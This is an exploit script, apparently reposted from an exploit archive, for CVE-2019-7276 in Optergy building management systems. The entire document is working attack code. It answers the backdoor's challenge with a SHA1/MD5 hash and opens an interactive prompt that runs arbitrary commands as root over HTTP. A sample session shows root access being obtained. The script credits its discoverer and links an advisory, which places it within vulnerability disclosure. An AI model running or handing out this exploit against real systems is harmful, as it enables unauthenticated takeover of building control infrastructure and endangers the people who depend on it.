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## https://sploitus.com/exploit?id=PACKETSTORM:155258
#!/usr/bin/env python  
#  
# Unauthenticated Remote Root Exploit in Optergy BMS (Console Backdoor)  
#  
# Affected version <=2.0.3a (Proton and Enterprise)  
# Discovered by Gjoko 'LiquidWorm' Krstic  
#  
# CVE: CVE-2019-7276  
# Advisory: https://applied-risk.com/resources/ar-2019-008  
#  
##############################################################################  
#  
# lqwrm@metalgear:~/stuff/optergy$ python getroot.py 192.168.232.19  
# Challenge received: 1547540929287  
# SHA1: 56a6e5bf103591ed45faa2159cae234d04f06d93  
# MD5 from SHA1: 873efc9ca9171d575623a99aeda44e31  
# Answer: 56a6e5bf103591ed45faa2159cae234d04f06d93873efc9ca9171d575623a99aeda44e31  
# # id  
# uid=0(root) gid=0(root) groups=0(root)  
#  
##############################################################################  
#  
#  
  
import os#######  
import sys######  
import json#####  
import hashlib##  
import requests#  
  
piton = os.path.basename(sys.argv[0])  
  
if len(sys.argv) < 2:  
print '\n\x20\x20[*] Usage: '+piton+' <ip:port>\n'  
sys.exit()  
  
while True:  
  
challenge_url = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html?get'  
  
try:  
req1 = requests.get(challenge_url)  
get_challenge = json.loads(req1.text)  
challenge = get_challenge['response']['message']  
print 'Challenge received: ' + challenge  
  
hash_object = hashlib.sha1(challenge.encode())  
print 'SHA1: '+(hash_object.hexdigest())  
h1 = (hash_object.hexdigest())  
hash_object = hashlib.md5(h1.encode())  
print 'MD5 from SHA1: '+(hash_object.hexdigest())  
h2 = (hash_object.hexdigest())  
print 'Answer: '+h1+h2  
  
zeTargets = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html'  
zeCommand = raw_input('# ')  
if zeCommand.strip() == 'exit':  
sys.exit()  
zeHeaders = {'User-Agent' : 'BB/BMS-251.4ev4h',  
'Accept' : '*/*',  
'Accept-Encoding' : 'gzip, deflate',  
'Accept-Language' : 'mk-MK,mk;q=1.7',  
'Connection' : 'keep-alive',  
'Connection-Type' : 'application/x-www-form-urlencoded'}  
zePardata = {'command' : 'sudo '+zeCommand,  
'challenge' : challenge,  
'answer' : h1+h2}  
  
zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)  
get_resp = json.loads(zeRequest.text)  
get_answ = get_resp['response']['message']  
print get_answ  
except Exception:  
print '[*] Error!'  
break